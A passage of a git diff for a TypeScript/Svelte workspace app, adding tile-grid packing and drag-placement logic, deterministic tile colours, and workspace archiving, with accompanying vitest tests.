+ if (geometry.mode === "wide") return (col - 1) * geometry.flowRows + (row - 1);
+ return (row - 1) * geometry.flowCols + (col - 1);
+}
+
+/**
+ * The universal frame's fixed row count (the wide grid's). Tall render cells
+ * map onto column 1 of this frame; wide is the identity.
+ */
+export const UNIVERSAL_ROWS = 4;
+
+/** A tile's anchor cell (1-based). */
+export interface Cell {
+ readonly col: number;
+ readonly row: number;
+}
+
+/**
+ * Universal-frame anchor → render-geometry cell. Wide: identity. Tall: column
+ * 1 of the universal frame folds onto the 2 render columns (universal row u →
+ * render { col: (u−1)%2 + 1, row: ⌈u/2⌉ }); any universal col > 1 cannot be
+ * represented in tall → `null` (the tile reads as UNPINNED in tall).
+ * Pure.
+ */
+export function toRenderCell(anchor: Cell, geometry: GridGeometry): Cell | null {
+ if (geometry.mode === "wide") return anchor;
+ if (anchor.col !== 1) return null;
+ return { col: ((anchor.row - 1) % 2) + 1, row: Math.floor((anchor.row - 1) / 2) + 1 };
+}
+
+/** Render-geometry cell → universal-frame anchor (the commit direction). Pure. */
+export function toUniversalCell(cell: Cell, geometry: GridGeometry): Cell {
+ if (geometry.mode === "wide") return cell;
+ return { col: 1, row: 2 * (cell.row - 1) + cell.col };
+}
+
+function cellsFree(
+ occupied: ReadonlySet<string>,
+ col: number,
+ row: number,
+ colSpan: number,
+ rowSpan: number,
+): boolean {
+ for (let r = row; r < row + rowSpan; r++) {
+ for (let c = col; c < col + colSpan; c++) {
+ if (occupied.has(`${r}:${c}`)) return false;
+ }
+ }
+ return true;
+}
+
+function occupy(
+ occupied: Set<string>,
+ col: number,
+ row: number,
+ colSpan: number,
+ rowSpan: number,
+): void {
+ for (let r = row; r < row + rowSpan; r++) {
+ for (let c = col; c < col + colSpan; c++) {
+ occupied.add(`${r}:${c}`);
+ }
+ }
+}
+
+function maxOccupied(occupied: ReadonlySet<string>, axis: "col" | "row"): number {
+ let max = 0;
+ for (const cell of occupied) {
+ const value = Number.parseInt(
+ axis === "row" ? (cell.split(":")[0] ?? "") : (cell.split(":")[1] ?? ""),
+ 10,
+ );
+ if (Number.isFinite(value) && value > max) max = value;
+ }
+ return max;
+}
+
+/**
+ * The first slot (in fill order) where a span-sized footprint fits without
+ * overlapping or exceeding the geometry's fixed cross-axis. Beyond the
+ * occupied region every cell is free, so the scan is bounded by the occupied
+ * extent — the result always exists (the flow is unbounded along its main
+ * axis). Pure: occupancy + span + geometry in, slot out.
+ */
+function firstFit(
+ occupied: ReadonlySet<string>,
+ span: Span,
+ geometry: GridGeometry,
+): { col: number; row: number } {
+ const { colSpan, rowSpan } = clampSpan(span, geometry);
+ if (geometry.mode === "wide") {
+ const maxCol = maxOccupied(occupied, "col");
+ for (let col = 1; col <= maxCol; col++) {
+ for (let row = 1; row <= geometry.flowRows - rowSpan + 1; row++) {
+ if (cellsFree(occupied, col, row, colSpan, rowSpan)) return { col, row };
+ }
+ }
+ return { col: maxCol + 1, row: 1 };
+ }
+ const maxRow = maxOccupied(occupied, "row");
+ for (let row = 1; row <= maxRow; row++) {
+ for (let col = 1; col <= geometry.flowCols - colSpan + 1; col++) {
+ if (cellsFree(occupied, col, row, colSpan, rowSpan)) return { col, row };
+ }
+ }
+ return { col: 1, row: maxRow + 1 };
+}
+
+/**
+ * THE entries → coordinates transform, v2. Two passes, one scan each:
+ *
+ * 1. **Pinned pass** (in entry order — first-pinned-wins on overlap, strictly
+ * one-ply: a displaced pin never bumps another pin): a pinned tile lands at
+ * its anchor (universal frame → render cell) when the anchor maps into this
+ * geometry, its clamped footprint fits the fixed cross-axis there, and no
+ * already-placed tile overlaps. Otherwise the tile reads as UNPINNED.
+ * 2. **Flow pass**: unpinned tiles (never pinned, out-of-range, clashing) take
+ * the first fitting FREE slot in fill order — holes between pins count.
+ *
+ * Requested spans clamp to the geometry (render-time only; the persisted spans
+ * stay raw). Pure: entries + geometry in, a NEW placements array out (entry
+ * order — the render order).
+ */
+export function pack(tiles: readonly TileLayoutEntry[], geometry: GridGeometry): Placement[] {
+ const occupied = new Set<string>();
+ const placements: (Placement | undefined)[] = [];
+ const flowing: { index: number; tile: TileLayoutEntry }[] = [];
+ const ordered = sortTiles(tiles);
+ for (let index = 0; index < ordered.length; index++) {
+ const tile = ordered[index];
+ if (!tile) continue;
+ const { colSpan, rowSpan } = clampSpan(tile, geometry);
+ const anchor = pinnedAnchor(tile, geometry);
+ if (
+ anchor !== null &&
+ fitsCrossAxis(anchor, colSpan, rowSpan, geometry) &&
+ cellsFree(occupied, anchor.col, anchor.row, colSpan, rowSpan)
+ ) {
+ occupy(occupied, anchor.col, anchor.row, colSpan, rowSpan);
+ placements[index] = { id: tile.id, col: anchor.col, row: anchor.row, colSpan, rowSpan };
+ } else {
+ flowing.push({ index, tile });
+ }
+ }
+ for (const { index, tile } of flowing) {
+ const { colSpan, rowSpan } = clampSpan(tile, geometry);
+ const slot = firstFit(occupied, { colSpan, rowSpan }, geometry);
+ occupy(occupied, slot.col, slot.row, colSpan, rowSpan);
+ placements[index] = { id: tile.id, col: slot.col, row: slot.row, colSpan, rowSpan };
+ }
+ return placements.filter((placement) => placement !== undefined);
+}
+
+/**
+ * A pinned tile's render-geometry anchor, or `null` when the tile is unpinned
+ * (no anchor) or its anchor cannot be represented in this geometry (a wide
+ * column > 1 read in tall). Pure.
+ */
+function pinnedAnchor(tile: TileLayoutEntry, geometry: GridGeometry): Cell | null {
+ if (tile.col === undefined || tile.row === undefined) return null;
+ return toRenderCell({ col: tile.col, row: tile.row }, geometry);
+}
+
+/** The footprint fits the geometry's FIXED cross-axis at this anchor. */
+function fitsCrossAxis(
+ anchor: Cell,
+ colSpan: number,
+ rowSpan: number,
+ geometry: GridGeometry,
+): boolean {
+ if (geometry.mode === "wide") return anchor.row + rowSpan - 1 <= geometry.flowRows;
+ return anchor.col + colSpan - 1 <= geometry.flowCols;
+}
+
+/**
+ * The first fitting slot at or after a minimum stream key (the displacement
+ * re-anchor scan — pushed tiles only move FORWARD). Pure.
+ */
+function firstFitFrom(
+ occupied: ReadonlySet<string>,
+ span: Span,
+ geometry: GridGeometry,
+ minKey: number,
+): Cell {
+ const { colSpan, rowSpan } = clampSpan(span, geometry);
+ if (geometry.mode === "wide") {
+ const maxCol = maxOccupied(occupied, "col") + 1;
+ for (let col = 1; col <= maxCol + 1; col++) {
+ for (let row = 1; row <= geometry.flowRows - rowSpan + 1; row++) {
+ if (fillOrderKey(col, row, geometry) < minKey) continue;
+ if (cellsFree(occupied, col, row, colSpan, rowSpan)) return { col, row };
+ }
+ }
+ return { col: maxCol + 2, row: 1 };
+ }
+ const maxRow = maxOccupied(occupied, "row") + 1;
+ for (let row = 1; row <= maxRow + 1; row++) {
+ for (let col = 1; col <= geometry.flowCols - colSpan + 1; col++) {
+ if (fillOrderKey(col, row, geometry) < minKey) continue;
+ if (cellsFree(occupied, col, row, colSpan, rowSpan)) return { col, row };
+ }
+ }
+ return { col: 1, row: maxRow + 2 };
+}
+
+/**
+ * THE displacement op — drop `draggedId` at `cell` over the CURRENT RENDER
+ * placements (the squares exactly as the user sees them). Semantics (user-
+ * specified): the dragged tile leaves its slot (the gap OPENS — nothing slides
+ * backward, ever), anchors exactly at `cell`, and the contiguous run of filled
+ * cells pushes FORWARD in fill order until the first empty cell absorbs it:
+ *
+ * `X _ X` + Y at slot 1 → `Y X X`
+ * `_ X Z _` + Y at slot 2 → `_ Y X Z`
+ *
+ * Tiles keep their positions unless their footprint overlaps an already-placed
+ * one; the displaced re-anchor at the next fitting slot forward (spans ride
+ * along; a span that can't fit the fixed cross-axis anywhere forward wraps to
+ * the first fitting slot — it must land somewhere). Pure: placements + drop
+ * in, a NEW placements array out — in the INPUT array order (only coordinates
+ * change). A keyed `{#each}` over the result therefore never moves DOM nodes;
+ * moving a captured element drops its pointer capture — the "stuck tile" bug.
+ */
+export function displacePlace(
+ placements: readonly Placement[],
+ draggedId: string,
+ cell: Cell,
+ geometry: GridGeometry,
+): Placement[] {
+ const dragged = placements.find((placement) => placement.id === draggedId);
+ if (!dragged) return [...placements];
+ const occupied = new Set<string>();
+ occupy(occupied, cell.col, cell.row, dragged.colSpan, dragged.rowSpan);
+ const placed: Placement[] = [{ ...dragged, col: cell.col, row: cell.row }];
+ const others = placements
+ .filter((placement) => placement.id !== draggedId)
+ .map((placement) => ({
+ placement,
+ key: fillOrderKey(placement.col, placement.row, geometry),
+ }))
+ .sort((a, b) => a.key - b.key);
+ for (const { placement, key } of others) {
+ const { colSpan, rowSpan } = placement;
+ if (cellsFree(occupied, placement.col, placement.row, colSpan, rowSpan)) {
+ occupy(occupied, placement.col, placement.row, colSpan, rowSpan);
+ placed.push(placement);
+ continue;
+ }
+ let slot = firstFitFrom(occupied, placement, geometry, key);
+ if (!fitsCrossAxis(slot, colSpan, rowSpan, geometry)) {
+ slot = firstFit(occupied, placement, geometry);
+ }
+ occupy(occupied, slot.col, slot.row, colSpan, rowSpan);
+ placed.push({ ...placement, col: slot.col, row: slot.row });
+ }
+ // Return in the INPUT render order (coordinates change only): the live drag
+ // preview feeds a keyed `{#each}`, and a reordered array moves the DOM nodes
+ // — a moved captured element silently loses pointer capture (the stuck-tile
+ // bug). The commit path re-sorts to stream order itself (`placeAtCell`).
+ const byId = new Map(placed.map((placement) => [placement.id, placement]));
+ return placements.map((placement) => byId.get(placement.id) ?? placement);
+}
+
+/**
+ * The commit path: pack the persisted entries, displace at `cell`, and pin
+ * EVERY tile back to the entries at its resulting anchor (universal frame —
+ * the persisted spans stay raw, only anchors + order change; order renumbers
+ * in stream order). This is the drag-drop write. Pure: entries in, NEW
+ * entries out.
+ */
+export function placeAtCell(
+ tiles: readonly TileLayoutEntry[],
+ id: string,
+ cell: Cell,
+ geometry: GridGeometry,
+): TileLayoutEntry[] {
+ // An unknown dragged id changes nothing (order-sorted copy — the op's
+ // canonical no-op shape, like `moveTile` before it).
+ if (!tiles.some((tile) => tile.id === id)) return sortTiles(tiles);
+ // displacePlace preserves the input RENDER order for the live preview; the
+ // commit pins + renumbers in STREAM order, so re-sort before pinning.
+ const displaced = displacePlace(pack(tiles, geometry), id, cell, geometry)
+ .slice()
+ .sort((a, b) => fillOrderKey(a.col, a.row, geometry) - fillOrderKey(b.col, b.row, geometry));
+ const result: TileLayoutEntry[] = [];
+ for (const placement of displaced) {
+ const entry = tiles.find((tile) => tile.id === placement.id);
+ if (!entry) continue;
+ const anchor = toUniversalCell(placement, geometry);
+ result.push({ ...entry, col: anchor.col, row: anchor.row });
+ }
+ return result.map((entry, index) => (entry.order === index ? entry : { ...entry, order: index }));
+}
+
+/**
+ * The drag target's clamp on the geometry's UNBOUNDED axis — a drop may aim
+ * at most `extra` columns (wide) / rows (tall) past the current content edge,
+ * so a drag can never create an endlessly growing canvas ("hard to place if
+ * it just grows"): wide bound = the right-most occupied column (span-aware) +
+ * `extra`; tall = the bottom-most occupied row + `extra`. Empty content → the
+ * first tiles may land within the first `extra` columns. The bound is measured
+ * on the COMMITTED placements — a drag always compares against the layout it
+ * started from, never the live preview, so the limit cannot ratchet mid-drag.
+ * Pure: placements + geometry in, the max allowed column (wide) / row (tall)
+ * out.
+ */
+export function dragAppendLimit(
+ placements: readonly Placement[],
+ geometry: GridGeometry,
+ extra = 3,
+): number {
+ let extent = 0;
+ for (const placement of placements) {
+ extent = Math.max(
+ extent,
+ geometry.mode === "wide"
+ ? placement.col + placement.colSpan - 1
+ : placement.row + placement.rowSpan - 1,
+ );
+ }
+ return extent + extra;
+}
+
+/**
+ * The first footprint-fitting EMPTY slot in fill order — where a NEW tile of
+ * the given span would go (the header's create flow). Pure: entries + span +
+ * geometry in, a slot placement out (always exists; may be a new column/row
+ * beyond the current extent).
+ */
+export function firstEmptySlot(
+ tiles: readonly TileLayoutEntry[],
+ span: Span,
+ geometry: GridGeometry,
+): { col: number; row: number } {
+ return firstFit(packOccupancy(tiles, geometry), span, geometry);
+}
+
+/** Build the occupancy set of the tiles' packed positions. */
+function packOccupancy(tiles: readonly TileLayoutEntry[], geometry: GridGeometry): Set<string> {
+ const occupied = new Set<string>();
+ for (const placement of pack(tiles, geometry)) {
+ occupy(occupied, placement.col, placement.row, placement.colSpan, placement.rowSpan);
+ }
+ return occupied;
+}
+
+/** Re-assign orders 0..n-1 by array position (the canonical order encoding after structural edits). */
+function renumber(tiles: readonly TileLayoutEntry[]): TileLayoutEntry[] {
+ return tiles.map((tile, index) => (tile.order === index ? tile : { ...tile, order: index }));
+}
+
+/**
+ * Pin a tile at the first EMPTY slot in fill order — the header-create
+ * placement (holes between pins count). Idempotent: an id already in the
+ * layout is RE-PINNED there (spans preserved), not duplicated — this closes
+ * the race where the list-refresh sync appended the id first. Unknown ids
+ * append as a new 1×1 pinned entry. Pure: entries in, a NEW entries array out
+ * (order preserved — anchors, not order, place tiles now).
+ */
+export function pinAtFirstEmpty(
+ tiles: readonly TileLayoutEntry[],
+ id: string,
+ geometry: GridGeometry,
+): TileLayoutEntry[] {
+ const without = sortTiles(tiles).filter((tile) => tile.id !== id);
+ const slot = firstEmptySlot(without, { colSpan: 1, rowSpan: 1 }, geometry);
+ const anchor = toUniversalCell(slot, geometry);
+ const existing = tiles.find((tile) => tile.id === id);
+ const entry: TileLayoutEntry = existing
+ ? { ...existing, col: anchor.col, row: anchor.row }
+ : {
+ id,
+ colSpan: 1,
+ rowSpan: 1,
+ order: without.reduce((max, tile) => Math.max(max, tile.order + 1), 0),
+ col: anchor.col,
+ row: anchor.row,
+ };
+ return [...without, entry];
+}
+
+/**
+ * Resize one tile: set its persisted spans (sanitized to positive integers —
+ * NOT clamped to the current geometry; clamping is a render-time concern so a
+ * wide-sized tile survives an orientation switch). Unknown ids are ignored.
+ * Pure: entries in, a NEW entries array out.
+ */
+export function resizeTile(
+ tiles: readonly TileLayoutEntry[],
+ id: string,
+ colSpan: number,
+ rowSpan: number,
+): TileLayoutEntry[] {
+ const sanitized: Span = {
+ colSpan: clampUnit(colSpan, Number.MAX_SAFE_INTEGER),
+ rowSpan: clampUnit(rowSpan, Number.MAX_SAFE_INTEGER),
+ };
+ return sortTiles(tiles).map((tile) =>
+ tile.id === id ? { ...tile, colSpan: sanitized.colSpan, rowSpan: sanitized.rowSpan } : tile,
+ );
+}
+
+/**
+ * Re-apply the recent-activity order (the header overflow "Sort" action) AND
+ * clear every pin — an explicit ARRANGEMENT RESET: tiles sort by their
+ * workspace's `lastActivityAt` descending (unknown ids last, ties stable),
+ * orders renumber, and the now-unpinned tiles first-fit with no gaps. Pure.
+ */
+export function sortByRecentActivity(
+ tiles: readonly TileLayoutEntry[],
+ lastActivityById: ReadonlyMap<string, number>,
+): TileLayoutEntry[] {
+ const sorted = sortTiles(tiles).sort(
+ (a, b) => (lastActivityById.get(b.id) ?? 0) - (lastActivityById.get(a.id) ?? 0),
+ );
+ return renumber(
+ sorted.map((tile) => {
+ const { col: _col, row: _row, ...unpinned } = tile;
+ return unpinned;
+ }),
+ );
+}
+
+/**
+ * Merge the persisted layout with the live workspace list: workspaces unknown
+ * to the layout (e.g. auto-created via deep-link) APPEND at the end (default
+ * 1×1, order after the current max); entries for deleted workspaces DROP;
+ * duplicate ids dedup (first wins); the result sorts by order. When a
+ * geometry is given, the returned VIEW clamps spans to it (the persisted
+ * document keeps the raw spans — clamping is transient per geometry). Pure:
+ * both inputs in, a NEW entries array out.
+ */
+export function mergeLayout(
+ persisted: TileLayoutData | null | undefined,
+ workspaceIds: readonly string[],
+ geometry?: GridGeometry,
+): TileLayoutEntry[] {
+ const known = new Set(workspaceIds);
+ const kept: TileLayoutEntry[] = [];
+ const seen = new Set<string>();
+ let maxOrder = 0;
+ for (const tile of sortTiles(persisted?.tiles ?? [])) {
+ if (!known.has(tile.id) || seen.has(tile.id)) continue;
+ seen.add(tile.id);
+ kept.push(tile);
+ if (tile.order > maxOrder) maxOrder = tile.order;
+ }
+ const appended: TileLayoutEntry[] = [];
+ for (const id of workspaceIds) {
+ if (seen.has(id)) continue;
+ seen.add(id);
+ maxOrder += 1;
+ appended.push({ id, colSpan: 1, rowSpan: 1, order: maxOrder });
+ }
+ const merged = [...kept, ...appended];
+ if (!geometry) return merged;
+ return merged.map((tile) => ({ ...tile, ...clampSpan(tile, geometry) }));
+}
+
+/**
+ * Coerce an unknown parsed-JSON value into layout data (the `LocalStore` load
+ * is untyped at the boundary). v1 documents (order + spans only) MIGRATE to
+ * v2 in memory: their tiles become unpinned, which packs identically to v1's
+ * first-fit — the layout only starts carrying anchors after the user's first
+ * drop. v2 entries keep their anchors; malformed entries coerce (missing
+ * spans → 1, garbage anchors → unpinned, garbage entries → dropped). Anything
+ * else yields the empty layout. Pure: unknown in, v2 data out.
+ */
+export function sanitizeLayout(raw: unknown): TileLayoutData {
+ if (typeof raw !== "object" || raw === null) return EMPTY_LAYOUT;
+ const version = (raw as { version?: unknown }).version;
+ if (version !== 1 && version !== 2) return EMPTY_LAYOUT;
+ const rawTiles = (raw as { tiles?: unknown }).tiles;
+ if (!Array.isArray(rawTiles)) return EMPTY_LAYOUT;
+ const tiles: TileLayoutEntry[] = [];
+ const seen = new Set<string>();
+ for (let index = 0; index < rawTiles.length; index++) {
+ const rawTile = rawTiles[index];
+ if (typeof rawTile !== "object" || rawTile === null) continue;
+ const id = (rawTile as { id?: unknown }).id;
+ if (typeof id !== "string" || id === "" || seen.has(id)) continue;
+ seen.add(id);
+ const col = coerceAnchor((rawTile as { col?: unknown }).col);
+ const row = coerceAnchor((rawTile as { row?: unknown }).row);
+ tiles.push({
+ id,
+ colSpan: coerceSpan((rawTile as { colSpan?: unknown }).colSpan),
+ rowSpan: coerceSpan((rawTile as { rowSpan?: unknown }).rowSpan),
+ order: coerceOrder((rawTile as { order?: unknown }).order, index),
+ // An anchor is only meaningful as a PAIR — a lone coordinate drops both.
+ ...(version === 2 && col !== undefined && row !== undefined ? { col, row } : {}),
+ });
+ }
+ return { version: 2, tiles };
+}
+
+const EMPTY_LAYOUT: TileLayoutData = { version: 2, tiles: [] };
+
+function coerceSpan(value: unknown): number {
+ if (typeof value !== "number" || !Number.isFinite(value) || value < 1) return 1;
+ return Math.floor(value);
+}
+
+function coerceOrder(value: unknown, fallback: number): number {
+ if (typeof value !== "number" || !Number.isFinite(value)) return fallback;
+ return Math.floor(value);
+}
+
+/** A valid anchor coordinate (1-based positive integer) or undefined. */
+function coerceAnchor(value: unknown): number | undefined {
+ if (typeof value !== "number" || !Number.isFinite(value) || value < 1) return undefined;
+ return Math.floor(value);
+}
diff --git a/src/features/workspaces/logic/view-model.test.ts b/src/features/workspaces/logic/view-model.test.ts
index 44d2f31..31366ba 100644
--- a/src/features/workspaces/logic/view-model.test.ts
+++ b/src/features/workspaces/logic/view-model.test.ts
@@ -1,6 +1,39 @@
import type { WorkspaceEntry } from "@dispatch/wire";
import { describe, expect, it } from "vitest";
-import { applyStarred, pageTitle, relativeTime, sortWorkspaces } from "./view-model";
+import {
+ applyArchived,
+ applyStarred,
+ pageTitle,
+ relativeTime,
+ sortWorkspaces,
+ tileTone,
+} from "./view-model";
+
+describe("tileTone", () => {
+ const TONES = ["primary", "secondary", "accent", "info", "success", "warning"];
+
+ it("is deterministic — the same id always gets the same tone", () => {
+ expect(tileTone("my-workspace")).toBe(tileTone("my-workspace"));
+ });
+
+ it("only returns known tones", () => {
+ for (const id of ["default", "a", "my-workspace", "x-1", "project-phoenix", "zzz"]) {
+ expect(TONES).toContain(tileTone(id));
+ }
+ });
+
+ it("spreads distinct ids across more than one tone", () => {
+ const tones = new Set(
+ ["default", "alpha", "beta", "gamma", "delta", "epsilon", "zeta", "eta"].map(tileTone),
+ );
+ expect(tones.size).toBeGreaterThan(1);
+ });
+
+ it("is case-sensitive (ids are slugs, but the hash makes no normalization promise)", () => {
+ // Not a correctness requirement — just documents the hash reads raw chars.
+ expect(typeof tileTone("ABC")).toBe("string");
+ });
+});
describe("relativeTime", () => {
const now = 1_000_000_000_000; // 2001-09-09
@@ -23,10 +56,15 @@ describe("relativeTime", () => {
expect(relativeTime(now - 3 * 24 * 60 * 60_000, now)).toBe("3d");
});
- it("is a short date beyond a week", () => {
- // 7+ days ago: just check it is a MM/DD string.
- const s = relativeTime(now - 10 * 24 * 60 * 60_000, now);
- expect(s).toMatch(/^\d{2}\/\d{2}$/);
+ it("keeps days past a week (no short date) up to a month", () => {
+ expect(relativeTime(now - 10 * 24 * 60 * 60_000, now)).toBe("10d");
+ expect(relativeTime(now - 29 * 24 * 60 * 60_000, now)).toBe("29d");
+ });
+
+ it("is months past a month", () => {
+ expect(relativeTime(now - 30 * 24 * 60 * 60_000, now)).toBe("1mo");
+ expect(relativeTime(now - 75 * 24 * 60 * 60_000, now)).toBe("2mo");
+ expect(relativeTime(now - 365 * 24 * 60 * 60_000, now)).toBe("12mo");
});
});
@@ -38,6 +76,7 @@ describe("pageTitle", () => {
defaultCwd: null,
defaultComputerId: null,
starred: false,
+ archived: false,
createdAt: 0,
lastActivityAt: 0,
conversationCount: 0,
@@ -75,6 +114,7 @@ describe("sortWorkspaces", () => {
defaultCwd: null,
defaultComputerId: null,
starred,
+ archived: false,
createdAt: 0,
lastActivityAt,
conversationCount: 0,
@@ -133,6 +173,7 @@ describe("applyStarred", () => {
defaultCwd: null,
defaultComputerId: null,
starred,
+ archived: false,
createdAt: 0,
lastActivityAt: 0,
conversationCount: 0,
@@ -177,3 +218,50 @@ describe("applyStarred", () => {
expect(reverted[0]?.starred).toBe(false);
});
});
+
+describe("applyArchived", () => {
+ const entry = (id: string, archived: boolean): WorkspaceEntry => ({
+ id,
+ title: id,
+ defaultCwd: null,
+ defaultComputerId: null,
+ starred: false,
+ archived,
+ createdAt: 0,
+ lastActivityAt: 0,
+ conversationCount: 0,
+ });
+
+ it("sets the named workspace's archived flag", () => {
+ const list = [entry("a", false), entry("b", false)];
+ const next = applyArchived(list, "b", true);
+ expect(next.map((w) => [w.id, w.archived])).toEqual([
+ ["a", false],
+ ["b", true],
+ ]);
+ });
+
+ it("returns a new array (does not mutate the input)", () => {
+ const list = [entry("a", false)];
+ const next = applyArchived(list, "a", true);
+ expect(next).not.toBe(list);
+ expect(list[0]?.archived).toBe(false);
+ expect(next[0]?.archived).toBe(true);
+ });
+
+ it("leaves other entries referentially unchanged (only the target is replaced)", () => {
+ const a = entry("a", false);
+ const b = entry("b", false);
+ const next = applyArchived([a, b], "b", true);
+ expect(next[0]).toBe(a);
+ expect(next[1]).not.toBe(b);
+ });
+
+ it("can revert by re-applying the previous value (unarchive)", () => {
+ const list = [entry("a", false)];
+ const optimistic = applyArchived(list, "a", true);
+ expect(optimistic[0]?.archived).toBe(true);
+ const reverted = applyArchived(optimistic, "a", false);
+ expect(reverted[0]?.archived).toBe(false);
+ });
+});
diff --git a/src/features/workspaces/logic/view-model.ts b/src/features/workspaces/logic/view-model.ts
index b994b7c..cdf99c8 100644
--- a/src/features/workspaces/logic/view-model.ts
+++ b/src/features/workspaces/logic/view-model.ts
@@ -6,6 +6,40 @@ import type { WorkspaceEntry } from "@dispatch/wire";
import type { Route } from "./route";
/**
+ * A home tile's color tone. Windows 8's Start screen gave every tile its own
+ * saturated color; here the tile's workspace id DETERMINISTICALLY picks one of
+ * the theme's six semantic tones, so the same workspace keeps its color across
+ * sessions and themes (the tone name maps to a DaisyUI color, which adapts to
+ * the active theme). Starred stays a separate visual concern (a badge), NOT a
+ * tone — any tile may be starred regardless of its color.
+ */
+export type TileTone = "primary" | "secondary" | "accent" | "info" | "success" | "warning";
+
+/** The tones a tile may take, in hash order. */
+const TILE_TONES: readonly TileTone[] = [
+ "primary",
+ "secondary",
+ "accent",
+ "info",
+ "success",
+ "warning",
+];
+
+/**
+ * Map a workspace id to its tile tone. Deterministic (FNV-1a hash of the id)
+ * and uniformly distributed across the six tones — pure: id in, tone out.
+ */
+export function tileTone(id: string): TileTone {
+ let hash = 0x811c9dc5;
+ for (let index = 0; index < id.length; index++) {
+ hash ^= id.charCodeAt(index);
+ // FNV prime (16777619), kept in 32-bit unsigned range.
+ hash = Math.imul(hash, 0x01000193) >>> 0;
+ }
+ return TILE_TONES[hash % TILE_TONES.length] ?? "primary";
+}
+
+/**
* The browser tab / page (`document.title`) text for a route. The home route
* (`/`) is "Dispatch"; a workspace route (`/<id>`) is "Dispatch: {title}",
* using the workspace's display title and falling back to the URL slug (`id`)
@@ -50,6 +84,20 @@ export function applyStarred<T extends WorkspaceEntry>(
}
/**
+ * Return a NEW list with the one workspace's `archived` flag set (immutably —
+ * the entry is replaced, the rest keep their identity). Pure: the optimistic
+ * archive/unarchive transformation shared by the apply + the error revert. A
+ * missing `id` leaves the list unchanged; a subsequent refresh reconciles.
+ */
+export function applyArchived<T extends WorkspaceEntry>(
+ workspaces: readonly T[],
+ id: string,
+ archived: boolean,
+): T[] {
+ return workspaces.map((w) => (w.id === id ? { ...w, archived } : w));
+}
+
+/**
* Format an epoch-ms timestamp as a short relative string ("now", "3m", "2h",
* "5d", or a date). Pure: `now` + `then` in, string out. Future timestamps
* (a workspace just created) read as "now".
@@ -62,10 +110,8 @@ export function relativeTime(then: number, now: number): string {
const hours = Math.floor(mins / 60);
if (hours < 24) return `${hours}h`;
const days = Math.floor(hours / 24);
- if (days < 7) return `${days}d`;
- // Beyond a week: a short date (MM/DD). Uses UTC parts for determinism in tests.
- const d = new Date(then);
- const month = String(d.getUTCMonth() + 1).padStart(2, "0");
- const day = String(d.getUTCDate()).padStart(2, "0");
- return `${month}/${day}`;
+ if (days < 30) return `${days}d`;
+ // Past a month: months (a month ≈ 30 days). No short date — the label
+ // stays relative forever.
+ return `${Math.floor(days / 30)}mo`;
}
diff --git a/src/features/workspaces/store.svelte.ts b/src/features/workspaces/store.svelte.ts
index 22d73b5..b9b646b 100644
--- a/src/features/workspaces/store.svelte.ts
+++ b/src/features/workspaces/store.svelte.ts
@@ -1,7 +1,8 @@
import type { EnsureWorkspaceRequest } from "@dispatch/transport-contract";
import type { Workspace, WorkspaceEntry } from "@dispatch/wire";
import type { WorkspaceHttp, WorkspaceResult } from "./adapter/http";
-import { applyStarred, sortWorkspaces } from "./logic/view-model";
+import { gateCreate } from "./logic/create";
+import { applyArchived, applyStarred, sortWorkspaces } from "./logic/view-model";
/**
* Workspace store — a thin reactive wrapper over the pure HTTP edge. Owns the
@@ -16,12 +17,25 @@ export interface WorkspaceStore {
* backend's `lastActivityAt`-desc order; this getter re-sorts reactively.
*/
readonly list: readonly WorkspaceEntry[];
+ /** Archived workspaces, for the archived view. Loaded via `refreshArchived()`. */
+ readonly archivedList: readonly WorkspaceEntry[];
readonly loading: boolean;
+ readonly archivedLoading: boolean;
readonly error: string | null;
/** Refresh the list from the backend. */
refresh(): Promise<void>;
+ /** Refresh the archived list (`GET /workspaces?archived=true`). */
+ refreshArchived(): Promise<void>;
/** `PUT /workspaces/:id` (create-on-miss). Returns the workspace or an error. */
ensure(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
+ /**
+ * Create a workspace via the New-workspace flow. Probes `GET /workspaces/:id`
+ * first and refuses a slug that belongs to an ARCHIVED workspace (the
+ * idempotent `ensure` would otherwise silently resurrect an invisible tile).
+ * A failed probe is refused too (see `gateCreate`). On success it falls
+ * through to `ensure`, unchanged.
+ */
+ create(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
/** Rename a workspace (display only; id unchanged). */
rename(id: string, title: string): Promise<WorkspaceResult<Workspace>>;
/** Set/clear a workspace's default cwd. */
@@ -34,25 +48,41 @@ export interface WorkspaceStore {
* reverts to the prior value. No full refresh on success (avoids flicker).
*/
setStarred(id: string, starred: boolean): Promise<WorkspaceResult<Workspace>>;
+ /**
+ * Archive or unarchive a workspace. Optimistic: the local `archived` flag
+ * flips immediately (archiving drops the tile from the home grid); on error
+ * it reverts to the prior value. A successful archive/unarchive is followed
+ * by a `refresh()` so the active list reflects the backend (the archived
+ * workspace leaves/enters the default-filtered list).
+ */
+ setArchived(id: string, archived: boolean): Promise<WorkspaceResult<Workspace>>;
/** Delete a workspace (closes its conversations, reassigns to "default"). */
remove(id: string): Promise<WorkspaceResult<{ closedCount: number }>>;
}
export function createWorkspaceStore(http: WorkspaceHttp): WorkspaceStore {
let list = $state<readonly WorkspaceEntry[]>([]);
+ let archivedList = $state<readonly WorkspaceEntry[]>([]);
// Sorted view (starred first, then most-recent) — derived so it recomputes
// only when the backing list changes, not on every read.
let sorted = $derived(sortWorkspaces(list));
let loading = $state(false);
+ let archivedLoading = $state(false);
let error = $state<string | null>(null);
return {
get list(): readonly WorkspaceEntry[] {
return sorted;
},
+ get archivedList(): readonly WorkspaceEntry[] {
+ return archivedList;
+ },
get loading(): boolean {
return loading;
},
+ get archivedLoading(): boolean {
+ return archivedLoading;
+ },
get error(): string | null {
return error;
},
@@ -69,6 +99,24 @@ export function createWorkspaceStore(http: WorkspaceHttp): WorkspaceStore {
}
},
+ async refreshArchived(): Promise<void> {
+ archivedLoading = true;
+ error = null;
+ try {
+ archivedList = await http.list("true");
+ } catch (err) {
+ error = err instanceof Error ? err.message : "Failed to load archived workspaces";
+ } finally {
+ archivedLoading = false;
+ }
+ },
+
+ async create(id, body): Promise<WorkspaceResult<Workspace>> {
+ const gate = gateCreate(id, await http.get(id));
+ if (!gate.ok) return { ok: false, error: gate.error };
+ return this.ensure(id, body);
+ },
+
async ensure(id, body): Promise<WorkspaceResult<Workspace>> {
const result = await http.ensure(id, body);
if (result.ok) void this.refresh();
@@ -105,6 +153,22 @@ export function createWorkspaceStore(http: WorkspaceHttp): WorkspaceStore {
return result;
},
+ async setArchived(id, archived): Promise<WorkspaceResult<Workspace>> {
+ const prev = list.find((w) => w.id === id)?.archived ?? false;
